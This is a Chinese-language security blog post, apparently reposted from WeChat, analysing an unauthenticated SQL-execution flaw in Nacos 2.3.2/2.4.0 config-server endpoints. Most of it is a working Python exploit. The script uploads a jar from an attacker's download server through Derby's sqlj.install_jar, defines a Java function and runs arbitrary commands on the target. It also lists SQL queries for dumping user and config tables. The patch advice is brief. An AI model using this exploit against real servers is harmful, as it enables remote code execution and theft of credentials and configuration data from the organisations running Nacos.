0x00 前言
在当今云原生应用的快速发展中,Nacos作为动态服务发现与配置管理的核心组件,受到了广泛的关注。然而,最近发现的一个漏洞暴露了Nacos在安全性上的不足,值得我们深入分析与探讨。
0x01 漏洞描述
Nacos的config server
中存在一个接口,未进行任何鉴权,导致恶意用户可以执行任意SQL语句,从而泄露数据库中的敏感信息。漏洞点位于com.alibaba.nacos.config.server.controller.ConfigOpsController
中,攻击者可以通过构造特定请求,查询数据库中的所有信息,例如:
SELECT * FROM users;
SELECT * FROM his_config_info;
SELECT * FROM config_info;
0x02 影响版本
- Nacos 2.3.2 或 2.4.0版本均受到影响。
0x03 漏洞详情
为了演示该漏洞的利用方法,我们提供了一个Python脚本,帮助大家理解如何触发此漏洞并执行任意命令。
import random import sys import requests from urllib.parse import urljoin import config def exploit(target, command, service): removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal') derby_url = urljoin(target, '/nacos/v1/cs/ops/derby') for i in range(0, sys.maxsize): id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8)) post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0) CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}') CREATE FUNCTION S_EXAMPLE_{id}(PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec' """.format(id=id, service=service) option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')".format(id=id, cmd=command) get_sql = "SELECT * FROM (SELECT COUNT(*) AS b, S_EXAMPLE_{id}('{cmd}') AS a FROM config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command) files = {'file': post_sql} post_resp = requests.post(url=removal_url, files=files) post_json = post_resp.json() if post_json.get('message', None) is None and post_json.get('data', None) is not None: print(post_resp.text) get_resp = requests.get(url=derby_url, params={'sql': get_sql}) print(get_resp.text) break if __name__ == '__main__': service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port) target = 'http://127.0.0.1:8848' command = 'calc' target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target command = input('请输入命令,默认:calc:') or command exploit(target=target, command=command, service=service)
0x04 漏洞修复建议
建议用户及时更新到Nacos的最新版本,或采取相关安全措施,避免遭受此类SQL注入攻击。
0x05 参考链接
https://github.com/HACK-THE-WORLD/nacos-poc
原文始发于微信公众号(云梦安全):Nacos漏洞分析与利用
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论